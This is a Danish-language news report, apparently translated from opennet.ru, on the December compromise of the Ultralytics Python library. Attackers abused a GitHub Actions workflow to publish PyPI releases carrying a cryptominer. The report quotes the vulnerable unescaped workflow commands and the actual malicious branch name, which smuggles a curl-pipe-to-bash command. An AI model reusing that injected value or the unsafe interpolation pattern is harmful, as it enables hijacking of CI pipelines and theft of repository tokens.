En fejl i GitHub Actions-behandleren førte til offentliggørelsen af ondsindede versioner af Ultralytics

Angriberne formåede at køre kode med rettighederne fra GitHub Actions-handleren i Ultralytics Python-biblioteket, der anvendes til computer vision-opgaver som objekter identificering på billeder og billede-segmentering. Efter at have fået adgang til depotet, offentliggjorde de angrebne flere nye versioner af Ultralytics i PyPI-kataloget med ondsindede ændringer til kryptovaluta-mining. I den sidste måned blev Ultralytics-biblioteket downloadet mere end 6,4 millioner gange fra PyPI-kataloget.

For at kompromittere depotet blev der udnyttet en sårbarhed i ultralytics-actions-pakken, der anvendes til automatisk at starte handlere ved bestemte handlinger med depotet på GitHub ved hjælp af GitHub Actions-mekanismen. I ultralytics-projektet blev den sårbare handler knyttet til pull_request_target-begivenheden og blev kaldt, når nye pull-anmodninger kom ind. Særligt for at formatere koden i indsendte pull-anmodninger blev format.yml-handleren kaldt, og koden i "run"-sektionen af action.yml-filen blev udført, hvor shell-kommandoer med pladsholdermønstre var til stede: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

Dermed blev navnet på Git-branch, der blev nævnt i pull-anmodningen, indsat i shell-kommandoerne uden tilstrækkelig escaping. Det er bemærkelsesværdigt, at en lignende sårbarhed i august blev rettet i ultralytics-actions-pakken, som relaterede sig til brug af eksterne værdier i echo-funktionen: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

For at udføre deres egen kode i konteksten af GitHub Actions-handleren sendte angriberne en pull-anmodning til ultralytics-depotet og angav følgende som branch-navn: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Som følge heraf blev den angivne streng "$(…)" indsat i koden ved modtagelse af pull-anmodningen, hvilket ved den efterfølgende udførelse af handleren førte til udførelsen af koden "curl -sSfL raw.githubusercontent.com/.../file.sh | bash".

En fejl i GitHub Actions-behandleren førte til offentliggørelsen af ondsindede versioner af Ultralytics

Kørsel af kode i konteksten af GitHub Actions kan bruges til at fange adgangstoken til repository og andre følsomme data. Hvordan angriberne præcist har formået at danne en release og få mulighed for at køre deres kode i GitHub Actions, er stadig uklart. Det antages, at dette er blevet muligt ved at ændre publish.yml-handleren (angriberne fjernede kontrollen af kontoen, der var godkendt til at publicere releases i PyPI) og ved at bruge teknikken til at forgifte build-cachen i GitHub Actions for at indsætte deres egne data i releasen.

Den første ondsindede release Ultralytics 8.3.41 blev offentliggjort af gerningsmænd den 4. december kl. 23:51 (MSK) og fjernet den næste dag kl. 12:15. Kl. 15:47 blev en anden release 8.3.42 offentliggjort, som blev fjernet kl. 16:47. Således var de ondsindede versioner tilgængelige for download i alt cirka 13 timer (i løbet af en dag registreres der omkring 250.000 downloads af ultralytics-biblioteket i PyPI). I versionerne 8.3.41 og 8.3.42 var der kode, der beskæftigede sig med download fra en ekstern server komponent XMRig til mining af kryptovaluta.

Projektudviklerne har løst problemet og udgivet korrektionsreleases 8.3.43 og 8.3.44, men to dage senere blev der udført endnu et angreb, hvor gerningsmændene offentliggjorde to yderligere ondsindede releases — 8.3.45 og 8.3.46, som inkluderede anden kode til mining. Indtil der er ryddet op i sagen, anbefales det, at brugerne venter med at installere nye versioner og fastholder version 8.3.44 i deres afhængigheder.

Kilde: opennet.ru

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster